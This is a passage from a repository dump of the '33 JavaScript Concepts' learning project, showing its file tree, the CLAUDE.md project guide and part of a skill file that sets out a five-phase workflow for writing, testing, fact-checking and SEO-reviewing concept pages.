Repository: leonardomso/33-js-concepts Branch: master Commit: 9e2b863fd36e Files: 165 Total size: 4.2 MB Directory structure: gitextract_w51t050h/ ├── .claude/ │ ├── CLAUDE.md │ └── skills/ │ ├── concept-workflow/ │ │ └── SKILL.md │ ├── fact-check/ │ │ └── SKILL.md │ ├── resource-curator/ │ │ └── SKILL.md │ ├── seo-review/ │ │ └── SKILL.md │ ├── test-writer/ │ │ └── SKILL.md │ └── write-concept/ │ └── SKILL.md ├── .github/ │ ├── FUNDING.yml │ └── workflows/ │ └── tests.yml ├── .gitignore ├── .opencode/ │ └── skill/ │ ├── concept-workflow/ │ │ └── SKILL.md │ ├── fact-check/ │ │ └── SKILL.md │ ├── resource-curator/ │ │ └── SKILL.md │ ├── seo-review/ │ │ └── SKILL.md │ ├── test-writer/ │ │ └── SKILL.md │ └── write-concept/ │ └── SKILL.md ├── CODE_OF_CONDUCT.md ├── CONTRIBUTING.md ├── LICENSE ├── README.md ├── TRANSLATIONS.md ├── docs/ │ ├── 5c8wamucvfketshf1eyrw254gz94jwre.txt │ ├── beyond/ │ │ ├── concepts/ │ │ │ ├── blob-file-api.mdx │ │ │ ├── computed-property-names.mdx │ │ │ ├── cookies.mdx │ │ │ ├── custom-events.mdx │ │ │ ├── debouncing-throttling.mdx │ │ │ ├── event-bubbling-capturing.mdx │ │ │ ├── event-delegation.mdx │ │ │ ├── garbage-collection.mdx │ │ │ ├── getters-setters.mdx │ │ │ ├── hoisting.mdx │ │ │ ├── indexeddb.mdx │ │ │ ├── intersection-observer.mdx │ │ │ ├── javascript-type-nuances.mdx │ │ │ ├── json-deep-dive.mdx │ │ │ ├── localstorage-sessionstorage.mdx │ │ │ ├── memoization.mdx │ │ │ ├── memory-management.mdx │ │ │ ├── mutation-observer.mdx │ │ │ ├── object-methods.mdx │ │ │ ├── performance-observer.mdx │ │ │ ├── property-descriptors.mdx │ │ │ ├── proxy-reflect.mdx │ │ │ ├── requestanimationframe.mdx │ │ │ ├── resize-observer.mdx │ │ │ ├── strict-mode.mdx │ │ │ ├── tagged-template-literals.mdx │ │ │ ├── temporal-dead-zone.mdx │ │ │ ├── typed-arrays-arraybuffers.mdx │ │ │ └── weakmap-weakset.mdx │ │ └── getting-started/ │ │ └── overview.mdx │ ├── concepts/ │ │ ├── algorithms-big-o.mdx │ │ ├── async-await.mdx │ │ ├── call-stack.mdx │ │ ├── callbacks.mdx │ │ ├── clean-code.mdx │ │ ├── currying-composition.mdx │ │ ├── data-structures.mdx │ │ ├── design-patterns.mdx │ │ ├── dom.mdx │ │ ├── equality-operators.mdx │ │ ├── error-handling.mdx │ │ ├── es-modules.mdx │ │ ├── event-loop.mdx │ │ ├── factories-classes.mdx │ │ ├── generators-iterators.mdx │ │ ├── higher-order-functions.mdx │ │ ├── http-fetch.mdx │ │ ├── iife-modules.mdx │ │ ├── inheritance-polymorphism.mdx │ │ ├── javascript-engines.mdx │ │ ├── map-reduce-filter.mdx │ │ ├── modern-js-syntax.mdx │ │ ├── object-creation-prototypes.mdx │ │ ├── primitive-types.mdx │ │ ├── primitives-objects.mdx │ │ ├── promises.mdx │ │ ├── pure-functions.mdx │ │ ├── recursion.mdx │ │ ├── regular-expressions.mdx │ │ ├── scope-and-closures.mdx │ │ ├── this-call-apply-bind.mdx │ │ ├── type-coercion.mdx │ │ └── web-workers.mdx │ ├── contributing.mdx │ ├── docs.json │ ├── getting-started/ │ │ ├── about.mdx │ │ ├── how-to-learn.mdx │ │ ├── learning-paths.mdx │ │ └── prerequisites.mdx │ ├── index.mdx │ ├── robots.txt │ ├── schema-inject.js │ └── translations.mdx ├── index.js ├── opencode.jsonc ├── package.json ├── tests/ │ ├── advanced-topics/ │ │ ├── algorithms-big-o/ │ │ │ └── algorithms-big-o.test.js │ │ ├── data-structures/ │ │ │ └── data-structures.test.js │ │ ├── design-patterns/ │ │ │ └── design-patterns.test.js │ │ ├── error-handling/ │ │ │ └── error-handling.test.js │ │ ├── es-modules/ │ │ │ └── es-modules.test.js │ │ ├── modern-js-syntax/ │ │ │ └── modern-js-syntax.test.js │ │ └── regular-expressions/ │ │ └── regular-expressions.test.js │ ├── async-javascript/ │ │ └── callbacks/ │ │ ├── callbacks.dom.test.js │ │ └── callbacks.test.js │ ├── beyond/ │ │ ├── browser-storage/ │ │ │ ├── cookies/ │ │ │ │ ├── cookies.dom.test.js │ │ │ │ └── cookies.test.js │ │ │ ├── indexeddb/ │ │ │ │ └── indexeddb.test.js │ │ │ └── localstorage-sessionstorage/ │ │ │ ├── localstorage-sessionstorage.dom.test.js │ │ │ └── localstorage-sessionstorage.test.js │ │ ├── data-handling/ │ │ │ ├── blob-file-api/ │ │ │ │ ├── blob-file-api.dom.test.js │ │ │ │ └── blob-file-api.test.js │ │ │ ├── json-deep-dive/ │ │ │ │ └── json-deep-dive.test.js │ │ │ ├── requestanimationframe/ │ │ │ │ └── requestanimationframe.test.js │ │ │ └── typed-arrays-arraybuffers/ │ │ │ └── typed-arrays-arraybuffers.test.js │ │ ├── events/ │ │ │ ├── custom-events/ │ │ │ │ ├── custom-events.dom.test.js │ │ │ │ └── custom-events.test.js │ │ │ ├── event-bubbling-capturing/ │ │ │ │ └── event-bubbling-capturing.dom.test.js │ │ │ └── event-delegation/ │ │ │ └── event-delegation.test.js │ │ ├── language-mechanics/ │ │ │ ├── hoisting/ │ │ │ │ └── hoisting.test.js │ │ │ ├── strict-mode/ │ │ │ │ └── strict-mode.test.js │ │ │ └── temporal-dead-zone/ │ │ │ └── temporal-dead-zone.test.js │ │ ├── memory-performance/ │ │ │ ├── debouncing-throttling/ │ │ │ │ └── debouncing-throttling.test.js │ │ │ ├── garbage-collection/ │ │ │ │ └── garbage-collection.test.js │ │ │ ├── memoization/ │ │ │ │ └── memoization.test.js │ │ │ └── memory-management/ │ │ │ └── memory-management.test.js │ │ ├── modern-syntax-operators/ │ │ │ ├── computed-property-names/ │ │ │ │ └── computed-property-names.test.js │ │ │ └── tagged-template-literals/ │ │ │ └── tagged-template-literals.test.js │ │ ├── objects-properties/ │ │ │ ├── getters-setters/ │ │ │ │ └── getters-setters.test.js │ │ │ ├── object-methods/ │ │ │ │ └── object-methods.test.js │ │ │ ├── property-descriptors/ │ │ │ │ └── property-descriptors.test.js │ │ │ ├── proxy-reflect/ │ │ │ │ └── proxy-reflect.test.js │ │ │ └── weakmap-weakset/ │ │ │ └── weakmap-weakset.test.js │ │ ├── observer-apis/ │ │ │ ├── intersection-observer/ │ │ │ │ ├── intersection-observer.dom.test.js │ │ │ │ └── intersection-observer.test.js │ │ │ ├── mutation-observer/ │ │ │ │ └── mutation-observer.dom.test.js │ │ │ ├── performance-observer/ │ │ │ │ └── performance-observer.test.js │ │ │ └── resize-observer/ │ │ │ └── resize-observer.test.js │ │ └── type-system/ │ │ └── javascript-type-nuances/ │ │ └── javascript-type-nuances.test.js │ ├── functional-programming/ │ │ ├── currying-composition/ │ │ │ └── currying-composition.test.js │ │ ├── higher-order-functions/ │ │ │ └── higher-order-functions.test.js │ │ ├── map-reduce-filter/ │ │ │ └── map-reduce-filter.test.js │ │ ├── pure-functions/ │ │ │ └── pure-functions.test.js │ │ └── recursion/ │ │ └── recursion.test.js │ ├── functions-execution/ │ │ ├── async-await/ │ │ │ └── async-await.test.js │ │ ├── event-loop/ │ │ │ └── event-loop.test.js │ │ ├── generators-iterators/ │ │ │ └── generators-iterators.test.js │ │ ├── iife-modules/ │ │ │ └── iife-modules.test.js │ │ └── promises/ │ │ └── promises.test.js │ ├── fundamentals/ │ │ ├── call-stack/ │ │ │ └── call-stack.test.js │ │ ├── equality-operators/ │ │ │ └── equality-operators.test.js │ │ ├── javascript-engines/ │ │ │ └── javascript-engines.test.js │ │ ├── primitive-types/ │ │ │ └── primitive-types.test.js │ │ ├── primitives-objects/ │ │ │ └── primitives-objects.test.js │ │ ├── scope-and-closures/ │ │ │ └── scope-and-closures.test.js │ │ └── type-coercion/ │ │ └── type-coercion.test.js │ ├── object-oriented/ │ │ ├── factories-classes/ │ │ │ └── factories-classes.test.js │ │ ├── inheritance-polymorphism/ │ │ │ └── inheritance-polymorphism.test.js │ │ ├── object-creation-prototypes/ │ │ │ └── object-creation-prototypes.test.js │ │ └── this-call-apply-bind/ │ │ └── this-call-apply-bind.test.js │ └── web-platform/ │ ├── dom/ │ │ └── dom.test.js │ └── http-fetch/ │ └── http-fetch.test.js └── vitest.config.js ================================================ FILE CONTENTS ================================================ ================================================ FILE: .claude/CLAUDE.md ================================================ # 33 JavaScript Concepts - Project Context ## Overview This repository is a curated collection of **33 essential JavaScript concepts** that every JavaScript developer should know. It serves as a comprehensive learning resource and study guide for developers at all levels, from beginners to advanced practitioners. The project was recognized by GitHub as one of the **top open source projects of 2018** and has been translated into 40+ languages by the community. ## Project Purpose - Help developers master fundamental and advanced JavaScript concepts - Provide curated resources (articles, videos, books) for each concept - Serve as a reference guide for interview preparation - Foster community contributions through translations and resource additions ## Repository Structure ``` 33-js-concepts/ ├── .claude/ # Claude configuration │ ├── CLAUDE.md # Project context and guidelines │ └── skills/ # Custom skills for content creation │ ├── write-concept/ # Skill for writing concept documentation │ ├── fact-check/ # Skill for verifying technical accuracy │ ├── seo-review/ # Skill for SEO audits │ ├── test-writer/ # Skill for generating Vitest tests │ ├── resource-curator/ # Skill for curating external resources │ └── concept-workflow/ # Skill for end-to-end concept creation ├── .opencode/ # OpenCode configuration │ └── skill/ # Custom skills (mirrored from .claude/skills) │ ├── write-concept/ # Skill for writing concept documentation │ ├── fact-check/ # Skill for verifying technical accuracy │ ├── seo-review/ # Skill for SEO audits │ ├── test-writer/ # Skill for generating Vitest tests │ ├── resource-curator/ # Skill for curating external resources │ └── concept-workflow/ # Skill for end-to-end concept creation ├── docs/ # Mintlify documentation site │ ├── docs.json # Mintlify configuration │ ├── index.mdx # Homepage │ ├── introduction.mdx # Getting started guide │ ├── contributing.mdx # Contribution guidelines │ ├── translations.mdx # Community translations │ └── concepts/ # 33 concept pages │ ├── call-stack.mdx │ ├── primitive-types.mdx │ └── ... (all 33 concepts) ├── tests/ # Vitest test suites │ └── fundamentals/ # Tests for fundamental concepts (1-6) │ ├── call-stack/ │ ├── primitive-types/ │ ├── value-reference-types/ │ ├── type-coercion/ │ ├── equality-operators/ │ └── scope-and-closures/ ├── vitest.config.js # Vitest configuration ├── README.md # Main GitHub README ├── CONTRIBUTING.md # Guidelines for contributors ├── CODE_OF_CONDUCT.md # Community standards ├── LICENSE # MIT License ├── package.json # Project metadata ├── opencode.jsonc # OpenCode AI assistant configuration └── github-image.png # Project banner image ``` ## The 31 Concepts (32nd and 33rd coming soon) ### Fundamentals (1-6) 1. Primitive Types 2. Value Types and Reference Types 3. Type Coercion (Implicit, Explicit, Nominal, Structuring and Duck Typing) 4. Equality Operators (== vs === vs typeof) 5. Scope & Closures 6. Call Stack ### Functions & Execution (7-8) 7. Event Loop (Message Queue) 8. IIFE, Modules and Namespaces ### Web Platform (9-10) 9. DOM and Layout Trees 10. HTTP & Fetch ### Object-Oriented JS (11-15) 11. Factories and Classes 12. this, call, apply and bind 13. new, Constructor, instanceof and Instances 14. Prototype Inheritance and Prototype Chain 15. Object.create and Object.assign ### Functional Programming (16-19) 16. map, reduce, filter 17. Pure Functions, Side Effects, State Mutation and Event Propagation 18. Higher-Order Functions 19. Recursion ### Async JavaScript (20-22) 20. Collections and Generators 21. Promises 22. async/await ### Advanced Topics (23-31) 23. JavaScript Engines 24. Data Structures 25. Big O Notation (Expensive Operations) 26. Algorithms 27. Inheritance, Polymorphism and Code Reuse 28. Design Patterns 29. Partial Applications, Currying, Compose and Pipe 30. Clean Code ## Content Format Each concept page in `/docs/concepts/` follows this structure: ### 1. Frontmatter ```mdx --- title: "Concept Name" description: "Brief description of the concept" --- ``` ### 2. Real-World Analogy Start with an engaging analogy that makes the concept relatable. Include ASCII art diagrams when helpful. ### 3. Info Box (What You'll Learn) ```mdx **What you'll learn in this guide:** - Key point 1 - Key point 2 - Key point 3 ``` ### 4. Main Content Sections - Use clear headings (`##`, `###`) to organize topics - Include code examples with explanations - Use Mintlify components (``, ``, ``, etc.) - Add diagrams and visualizations where helpful ### 5. Related Concepts ```mdx Brief description of how it relates ``` ### 6. Reference ```mdx Official MDN documentation ``` ### 7. Articles Curated blog posts and tutorials using `` with `icon="newspaper"`. ### 8. Courses (optional) Educational courses using `` with `icon="graduation-cap"`. ### 9. Videos YouTube tutorials and conference talks using `` with `icon="video"`. ## Contributing Guidelines ### Adding Resources - Resources should be high-quality and educational - Follow the existing Card format for consistency - Include a brief description of what the resource covers ### Resource Format ```mdx Brief description of what the reader will learn from this resource. ``` ## Git Commit Conventions This project follows the [Conventional Commits](https://www.conventionalcommits.org/) specification. All commits must adhere to this format for consistency and automated changelog generation. ### Commit Message Format ``` [optional scope]: [optional body] [optional footer(s)] ``` ### Commit Types | Type | Description | |------|-------------| | `feat` | New features or content additions (e.g., new resources, new concepts) | | `fix` | Bug fixes, broken link corrections, typo fixes | | `docs` | Documentation changes (README updates, CONTRIBUTING updates) | | `style` | Formatting changes (markdown formatting, whitespace) | | `refactor` | Content restructuring without adding new resources | | `chore` | Maintenance tasks (config updates, dependency updates) | | `ci` | CI/CD configuration changes | | `perf` | Performance improvements | | `test` | Adding or updating tests | | `build` | Build system or external dependency changes | | `revert` | Reverting a previous commit | ### Examples ```bash # Adding a new resource feat: add article about closures by John Doe # Fixing a broken link fix: update broken MDN link in Promises section # Documentation update docs: update contributing guidelines for translations # Maintenance task chore: update opencode.json configuration # Adding content to existing concept feat(closures): add video tutorial by Fun Fun Function # Multiple changes in body feat: add new resources for async/await - Add article by JavaScript Teacher - Add video tutorial by Traversy Media - Update reference links ``` ### Rules 1. **Use lowercase** for the type and description 2. **No period** at the end of the description 3. **Use imperative mood** ("add" not "added", "fix" not "fixed") 4. **Keep the first line under 72 characters** 5. **Reference issues** in the footer when applicable (e.g., `Closes #123`) ## MCP Servers Available This project has OpenCode configured with: 1. **Context7** - Documentation search (`use context7` in prompts) 2. **GitHub** - Repository management (`use github` in prompts) ## Testing This project uses [Vitest](https://vitest.dev/) as the test runner to verify that code examples in the documentation work correctly. ### Running Tests ```bash # Run all tests once npm test # Run tests in watch mode (re-runs on file changes) npm run test:watch # Run tests with coverage report npm run test:coverage ``` ### Test Structure Tests are organized by concept category in the `tests/` directory: ``` tests/ ├── fundamentals/ # Concepts 1-6 │ ├── call-stack/ │ ├── primitive-types/ │ ├── value-reference-types/ │ ├── type-coercion/ │ ├── equality-operators/ │ └── scope-and-closures/ ├── functions-execution/ # Concepts 7-8 │ ├── event-loop/ │ └── iife-modules/ └── web-platform/ # Concepts 9-10 ├── dom/ └── http-fetch/ ``` ### Writing Tests for Code Examples When adding new code examples to concept documentation, please include corresponding tests: 1. **File naming**: Create `{concept-name}.test.js` in `tests/{category}/{concept-name}/` 2. **Use explicit imports**: ```javascript import { describe, it, expect } from 'vitest' ``` 3. **Convert console.log examples to assertions**: ```javascript // Documentation example: // console.log(typeof "hello") // "string" // Test: it('should return string type', () => { expect(typeof "hello").toBe("string") }) ``` 4. **Test error cases**: Use `expect(() => { ... }).toThrow()` for operations that should throw 5. **Skip browser-specific examples**: Tests run in Node.js, so skip DOM/window/document examples 6. **Note strict mode behavior**: Vitest runs in strict mode, so operations that "silently fail" in non-strict mode will throw `TypeError` ### Current Test Coverage | Category | Concept | Tests | |----------|---------|-------| | Fundamentals | Call Stack | 20 | | Fundamentals | Primitive Types | 73 | | Fundamentals | Value vs Reference Types | 54 | | Fundamentals | Type Coercion | 74 | | Fundamentals | Equality Operators | 87 | | Fundamentals | Scope and Closures | 46 | | Functions & Execution | Event Loop | 56 | | Functions & Execution | IIFE & Modules | 61 | | Web Platform | DOM | 85 | | Web Platform | HTTP & Fetch | 72 | | **Total** | | **628** | ## Documentation Site (Mintlify) The project includes a Mintlify documentation site in the `/docs` directory. ### Local Development ```bash # Using npm script npm run docs # Or install Mintlify CLI globally npm i -g mint cd docs mint dev ``` The site will be available at `http://localhost:3000`. ### Documentation Structure - **Getting Started**: Homepage and introduction - **Fundamentals**: Concepts 1-6 (Primitive Types through Call Stack) - **Functions & Execution**: Concepts 7-8 (Event Loop through IIFE/Modules) - **Web Platform**: Concepts 9-10 (DOM and HTTP & Fetch) - **Object-Oriented JS**: Concepts 11-15 (Factories through Object.create/assign) - **Functional Programming**: Concepts 16-19 (map/reduce/filter through Recursion) - **Async JavaScript**: Concepts 20-22 (Collections/Generators through async/await) - **Advanced Topics**: Concepts 23-31 (JavaScript Engines through Clean Code) ### Adding/Editing Concept Pages Each concept page is in `docs/concepts/` and follows this template: ```mdx --- title: "Concept Name" description: "Brief description" --- ## Overview [Explanation of the concept] ## Reference [MDN or official docs links] ## Articles [Curated articles with CardGroup components] ## Videos [Curated videos with CardGroup components] ``` ## Important Notes - This is primarily a documentation/resource repository, not a code library - The main content lives in `README.md` and `/docs` (Mintlify site) - Translations are maintained in separate forked repositories - Community contributions are welcome and encouraged - MIT Licensed ## Custom Skills ### write-concept Skill Use the `/write-concept` skill when writing or improving concept documentation pages. This skill provides comprehensive guidelines for: - **Page Structure**: Exact template for concept pages (frontmatter, opening hook, code examples, sections) - **SEO Optimization**: Critical guidelines for ranking in search results - **Writing Style**: Voice, tone, and how to make content accessible to beginners - **Code Examples**: Best practices for clear, educational code - **Quality Checklists**: Verification steps before publishing **When to invoke:** - Creating a new concept page in `/docs/concepts/` - Rewriting or significantly improving an existing concept page - Reviewing an existing concept page for quality **SEO is Critical:** Each concept page should rank for searches like: - "what is [concept] in JavaScript" - "how does [concept] work in JavaScript" - "[concept] JavaScript explained" The skill includes detailed guidance on title optimization (50-60 chars), meta descriptions (150-160 chars), keyword placement, and featured snippet optimization. **Location:** `.claude/skills/write-concept/SKILL.md` ### fact-check Skill Use the `/fact-check` skill when verifying the technical accuracy of concept documentation. This skill provides comprehensive methodology for: - **Code Verification**: Verify all code examples produce stated outputs, run project tests - **MDN/Spec Compliance**: Check claims against official MDN documentation and ECMAScript specification - **External Resource Checks**: Verify all links work and descriptions accurately represent content - **Misconception Detection**: Common JavaScript misconceptions to watch for (type coercion, async behavior, etc.) - **Test Integration**: Instructions for running `npm test` to verify code examples - **Report Template**: Structured format for documenting findings with severity levels **When to invoke:** - Before publishing a new concept page - After significant edits to existing pages - When reviewing community contributions - Periodic accuracy audits of existing content **What gets checked:** - Every code example for correct output - All MDN links for validity (not 404) - API descriptions match current MDN documentation - External resources (articles, videos) are accessible and accurate - Technical claims are correct and properly nuanced - No common JavaScript misconceptions stated as fact **Location:** `.claude/skills/fact-check/SKILL.md` ### seo-review Skill Use the `/seo-review` skill when auditing concept pages for search engine optimization. This skill provides a focused audit checklist: - **27-Point Scoring System**: Systematic audit across 6 categories - **Title & Meta Optimization**: Character counts, keyword placement, compelling hooks - **Keyword Strategy**: Pre-built keyword clusters for all JavaScript concepts - **Featured Snippet Optimization**: Patterns for winning position zero in search results - **Internal Linking**: Audit of concept interconnections and anchor text quality - **Report Template**: Structured SEO audit report with prioritized fixes **When to invoke:** - Before publishing a new concept page - When optimizing underperforming pages - Periodic content audits - After major content updates **Scoring Categories (30 points total):** - Title Tag (4 points) - Meta Description (4 points) - Keyword Placement (5 points) - Content Structure (6 points) - Featured Snippets (4 points) - Internal Linking (4 points) - Technical SEO (3 points) — Single H1, keyword in slug, no orphan pages **Score Interpretation:** - 90-100% (27-30): Ready to publish - 75-89% (23-26): Minor optimizations needed - 55-74% (17-22): Several improvements needed - Below 55% (<17): Significant work required **Location:** `.claude/skills/seo-review/SKILL.md` ### test-writer Skill Use the `/test-writer` skill when generating Vitest tests for code examples in concept documentation. This skill provides comprehensive methodology for: - **Code Extraction**: Identify and categorize all code examples (testable, DOM, error, conceptual) - **Test Patterns**: 16 patterns for converting different types of code examples to tests - **DOM Testing**: Separate file structure with jsdom environment for browser-specific code - **Source References**: Line number references linking tests to documentation - **Project Conventions**: File naming, describe block organization, assertion patterns - **Report Template**: Test coverage report documenting what was tested and skipped **When to invoke:** - After writing a new concept page - When adding new code examples to existing pages - When updating existing code examples - To verify documentation accuracy through automated tests **Test Categories:** - Basic value assertions (`console.log` → `expect`) - Error testing (`toThrow` patterns) - Async testing (Promises, async/await) - DOM testing (jsdom environment, events) - Floating point (toBeCloseTo) - Object/Array comparisons (toEqual) **File Structure:** ``` tests/{category}/{concept-name}/{concept-name}.test.js tests/{category}/{concept-name}/{concept-name}.dom.test.js (if DOM examples) ``` **Location:** `.claude/skills/test-writer/SKILL.md` ### resource-curator Skill Use the `/resource-curator` skill when finding, evaluating, or maintaining external resources (articles, videos, courses) for concept pages. This skill provides: - **Audit Process**: Check existing links for accessibility, accuracy, and relevance - **Trusted Sources**: Prioritized lists of reputable article, video, and course sources - **Quality Criteria**: Must-have, should-have, and red flag checklists - **Description Writing**: Formula and examples for specific, valuable descriptions - **Publication Guidelines**: Date thresholds for different topic categories - **Report Template**: Audit report for documenting broken, outdated, and missing resources **When to invoke:** - Adding resources to a new concept page - Refreshing resources on existing pages - Auditing for broken or outdated links - Reviewing community-contributed resources - Periodic link maintenance **Resource Targets:** - Reference: 2-4 MDN links - Articles: 4-6 quality articles - Videos: 3-4 quality videos - Courses: 1-3 (optional) **Trusted Sources Include:** - Articles: javascript.info, MDN Guides, freeCodeCamp, 2ality, CSS-Tricks, dev.to - Videos: Fireship, Web Dev Simplified, Fun Fun Function, Traversy Media, JSConf - Courses: javascript.info, Piccalilli, freeCodeCamp, Frontend Masters **Location:** `.claude/skills/resource-curator/SKILL.md` ### concept-workflow Skill Use the `/concept-workflow` skill for end-to-end creation of a complete concept page. This orchestrator skill coordinates all five specialized skills in optimal order: ``` Phase 1: resource-curator → Find quality external resources Phase 2: write-concept → Write the documentation page Phase 3: test-writer → Generate tests for code examples Phase 4: fact-check → Verify technical accuracy Phase 5: seo-review → Optimize for search visibility ``` **When to invoke:** - Creating a brand new concept page from scratch - Completely rewriting an existing concept page - When you want the full end-to-end workflow with all quality checks **What it orchestrates:** - Resource curation (2-4 MDN refs, 4-6 articles, 3-4 videos) - Complete concept page writing (1,500+ words) - Comprehensive test generation for all code examples - Technical accuracy verification with test execution - SEO audit targeting 90%+ score (24+/27) **Deliverables:** - `/docs/concepts/{concept-name}.mdx` — Complete documentation page - `/tests/{category}/{concept-name}/{concept-name}.test.js` — Test file - Updated `docs.json` navigation (if new concept) - Fact-check report - SEO audit report (score 24+/27) **Estimated Time:** 2-5 hours depending on concept complexity **Example prompt:** > "Create a complete concept page for 'hoisting' using the concept-workflow skill" **Location:** `.claude/skills/concept-workflow/SKILL.md` ## Maintainer **Leonardo Maldonado** - [@leonardomso](https://github.com/leonardomso) ## Links - Repository: https://github.com/leonardomso/33-js-concepts - Issues: https://github.com/leonardomso/33-js-concepts/issues - Original Article: [33 Fundamentals Every JavaScript Developer Should Know](https://medium.com/@stephenthecurt/33-fundamentals-every-javascript-developer-should-know-13dd720a90d1) by Stephen Curtis ================================================ FILE: .claude/skills/concept-workflow/SKILL.md ================================================ --- name: concept-workflow description: End-to-end workflow for creating complete JavaScript concept documentation, orchestrating all skills from research to final review --- # Skill: Complete Concept Workflow Use this skill to create a complete, high-quality concept page from start to finish. This skill orchestrates all five specialized skills in the optimal order: 1. **Resource Curation** — Find quality learning resources 2. **Concept Writing** — Write the documentation page 3. **Test Writing** — Create tests for code examples 4. **Fact Checking** — Verify technical accuracy 5. **SEO Review** — Optimize for search visibility ## When to Use - Creating a brand new concept page from scratch - Completely rewriting an existing concept page - When you want a full end-to-end workflow with all quality checks **For partial tasks, use individual skills instead:** - Just adding resources? Use `resource-curator` - Just writing content? Use `write-concept` - Just adding tests? Use `test-writer` - Just verifying accuracy? Use `fact-check` - Just optimizing SEO? Use `seo-review` --- ## Workflow Overview ``` ┌─────────────────────────────────────────────────────────────────────────────┐ │ COMPLETE CONCEPT WORKFLOW │ ├─────────────────────────────────────────────────────────────────────────────┤ │ │ │ INPUT: Concept name (e.g., "hoisting", "event-loop", "promises") │ │ │ │ ┌──────────────────┐ │ │ │ PHASE 1: RESEARCH │ │ │ │ resource-curator │ Find MDN refs, articles, videos │ │ └────────┬─────────┘ │ │ ▼ │ │ ┌──────────────────┐ │ │ │ PHASE 2: WRITE │ │ │ │ write-concept │ Create the documentation page │ │ └────────┬─────────┘ │ │ ▼ │ │ ┌──────────────────┐ │ │ │ PHASE 3: TEST │ │ │ │ test-writer │ Generate tests for all code examples │ │ └────────┬─────────┘ │ │ ▼ │ │ ┌──────────────────┐ │ │ │ PHASE 4: VERIFY │ │ │ │ fact-check │ Verify accuracy, run tests, check links │ │ └────────┬─────────┘ │ │ ▼ │ │ ┌──────────────────┐ │ │ │ PHASE 5: OPTIMIZE│ │ │ │ seo-review │ SEO audit and final optimizations │ │ └────────┬─────────┘ │ │ ▼ │ │ OUTPUT: Complete, tested, verified, SEO-optimized concept page │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ ``` --- ## Phase 1: Resource Curation **Skill:** `resource-curator` **Goal:** Gather high-quality external resources before writing ### What to Do 1. **Identify the concept category** (fundamentals, async, OOP, etc.) 2. **Search for MDN references** — Official documentation 3. **Find quality articles** — Target 4-6 from trusted sources 4. **Find quality videos** — Target 3-4 from trusted creators 5. **Evaluate each resource** — Check quality criteria 6. **Write specific descriptions** — 2 sentences each 7. **Format as Card components** — Ready to paste into the page ### Deliverables - List of 2-4 MDN/reference links with descriptions - List of 4-6 article links with descriptions - List of 3-4 video links with descriptions - Optional: 1-2 courses or books ### Quality Gates Before moving to Phase 2: - [ ] All links verified working (200 response) - [ ] All resources are JavaScript-focused - [ ] Descriptions are specific, not generic - [ ] Mix of beginner and advanced content --- ## Phase 2: Concept Writing **Skill:** `write-concept` **Goal:** Create the full documentation page ### What to Do 1. **Determine the category** for file organization 2. **Create the frontmatter** (title, sidebarTitle, description) 3. **Write the opening hook** — Question that draws readers in 4. **Add opening code example** — Simple example in first 200 words 5. **Write "What you'll learn" box** — 5-7 bullet points 6. **Write main content sections:** - What is [concept]? (with 40-60 word definition for featured snippet) - Real-world analogy - How it works (with diagrams) - Code examples (multiple, progressive complexity) - Common mistakes - Edge cases 7. **Add Key Takeaways** — 8-10 numbered points 8. **Add Test Your Knowledge** — 5-6 Q&A accordions 9. **Add Related Concepts** — 4 Cards linking to related topics 10. **Add Resources** — Paste resources from Phase 1 ### Deliverables - Complete `.mdx` file at `/docs/concepts/{concept-name}.mdx` - File added to `docs.json` navigation (if new) ### Quality Gates Before moving to Phase 3: - [ ] Frontmatter complete (title, sidebarTitle, description) - [ ] Opens with question hook - [ ] Code example in first 200 words - [ ] "What you'll learn" Info box present - [ ] All required sections present - [ ] Resources section complete - [ ] 1,500+ words --- ## Phase 3: Test Writing **Skill:** `test-writer` **Goal:** Create comprehensive tests for all code examples ### What to Do 1. **Scan the concept page** for all code examples 2. **Categorize examples:** - Testable (console.log, return values) - DOM-specific (needs jsdom) - Error examples (toThrow) - Conceptual (skip) 3. **Create test file** at `tests/{category}/{concept}/{concept}.test.js` 4. **Create DOM test file** (if needed) at `tests/{category}/{concept}/{concept}.dom.test.js` 5. **Write tests** for each code example with source line references 6. **Run tests** to verify all pass ### Deliverables - Test file: `tests/{category}/{concept-name}/{concept-name}.test.js` - DOM test file (if applicable): `tests/{category}/{concept-name}/{concept-name}.dom.test.js` - All tests passing ### Quality Gates Before moving to Phase 4: - [ ] All testable code examples have tests - [ ] Source line references in comments - [ ] Tests pass: `npm test -- tests/{category}/{concept}/` - [ ] DOM tests in separate file with jsdom directive --- ## Phase 4: Fact Checking **Skill:** `fact-check` **Goal:** Verify technical accuracy of all content ### What to Do 1. **Verify code examples:** - Run tests: `npm test -- tests/{category}/{concept}/` - Check any untested examples manually - Verify output comments match actual outputs 2. **Verify MDN/spec claims:** - Click all MDN links — verify they work - Compare API descriptions to MDN - Check ECMAScript spec for nuanced claims 3. **Verify external resources:** - Check all article/video links work - Skim content for accuracy - Verify descriptions match content 4. **Audit technical claims:** - Look for "always/never" statements - Verify performance claims - Check for common misconceptions 5. **Generate fact-check report** ### Deliverables - Fact-check report documenting: - Code verification results - Link check results - Any issues found and fixes made ### Quality Gates Before moving to Phase 5: - [ ] All tests passing - [ ] All MDN links valid - [ ] All external resources accessible - [ ] No technical inaccuracies found - [ ] No common misconceptions --- ## Phase 5: SEO Review **Skill:** `seo-review` **Goal:** Optimize for search visibility ### What to Do 1. **Audit title tag:** - 50-60 characters - Primary keyword in first half - Ends with "in JavaScript" - Contains compelling hook 2. **Audit meta description:** - 150-160 characters - Starts with action word (Learn, Understand, Discover) - Contains primary keyword - Promises specific value 3. **Audit keyword placement:** - Keyword in title - Keyword in description - Keyword in first 100 words - Keyword in at least one H2 4. **Audit content structure:** - Question hook opening - Code in first 200 words - "What you'll learn" box - Short paragraphs 5. **Audit featured snippet optimization:** - 40-60 word definition after "What is" H2 - Question-format H2s - Numbered steps for how-to content 6. **Audit internal linking:** - 3-5 related concepts linked - Descriptive anchor text - Related Concepts section complete 7. **Calculate score** and fix any issues ### Deliverables - SEO audit report with score (X/27) - All high-priority fixes implemented ### Quality Gates Before marking complete: - [ ] Score 24+ out of 27 (90%+) - [ ] Title optimized - [ ] Meta description optimized - [ ] Keywords placed naturally - [ ] Featured snippet optimized - [ ] Internal links complete --- ## Complete Workflow Checklist Use this master checklist to track progress through all phases. ```markdown # Concept Workflow: [Concept Name] **Started:** YYYY-MM-DD **Target Category:** {category} **File Path:** `/docs/concepts/{concept-name}.mdx` **Test Path:** `/tests/{category}/{concept-name}/` --- ## Phase 1: Resource Curation - [ ] MDN references found (2-4) - [ ] Articles found (4-6) - [ ] Videos found (3-4) - [ ] All links verified working - [ ] 